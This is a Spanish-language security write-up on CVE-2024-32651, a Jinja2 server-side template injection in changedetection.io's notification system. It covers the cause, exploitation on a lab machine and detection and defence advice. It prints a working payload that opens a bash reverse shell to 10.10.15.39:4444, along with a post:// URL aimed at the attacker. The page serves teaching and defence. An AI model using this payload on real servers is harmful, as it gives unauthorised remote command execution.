the_open_door
café
ESEN
← Volver al índice

changedetection.io SSTI (CVE-2024-32651)

changedetection.io es una aplicación web (en Python/Flask) que vigila páginas y avisa cuando cambian. CVE-2024-32651 es una inyección de plantillas del lado del servidor (SSTI) en su sistema de notificaciones: el cuerpo de la notificación se renderiza con Jinja2 sin aislar, así que un usuario autenticado puede inyectar una expresión de plantilla que se evalúa en el servidor y acaba en ejecución remota de comandos. Afecta a versiones hasta la 0.45.20 incluida.

Por qué ocurre. Jinja2 expande {{ ... }} evaluando objetos Python. Si la entrada del usuario llega sin sanear a un render de Jinja, se puede navegar desde un objeto cualquiera hasta los builtins de Python y, desde ahí, importar os y ejecutar comandos. Es el patrón clásico de la inyección de plantillas aplicado al motor de notificaciones.

Explotación práctica. El requisito es estar autenticado (en Trickster, reutilizando una contraseña ya obtenida: reutilización de credenciales). Se configura una notificación y, en su cuerpo, se coloca el payload SSTI; al enviar una notificación de prueba (Send test notification) el servidor lo renderiza y ejecuta el comando. Un payload típico abre una reverse shell:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.10.15.39/4444 0>&1"').read() }}

La URL a vigilar puede apuntar al propio atacante (post://10.10.15.39/4444/test) para forzar el envío de la notificación. La shell resultante corre con los privilegios del proceso de changedetection; si la aplicación va en Docker, suele caer como root dentro del contenedor, lo que abre la enumeración de artefactos del contenedor (backups, datastore) para seguir escalando.

Cómo detectarlo. La firma en la aplicación es una notificación cuyo cuerpo contiene sintaxis Jinja2 de escape de sandbox ({{, __globals__, __builtins__, __import__('os'), popen), que ninguna plantilla de notificación legítima usa. La confirmación es de linaje de procesos: el proceso de changedetection (python/gunicorn, a menudo root dentro del contenedor Docker) lanzando sh/bash/popen como hijo al enviar una notificación de prueba. Una conexión saliente desde el contenedor tras un Send test notification cierra la cadena.

Defensa. Actualizar a una versión posterior a 0.45.20. En general, no renderizar entrada de usuario con Jinja2 sin un entorno aislado (sandboxed) o, mejor, usar plantillas con sustitución literal en lugar de evaluación. Relacionado con inyección de comandos (el render termina ejecutando un comando del sistema).

Máquinas donde se aplica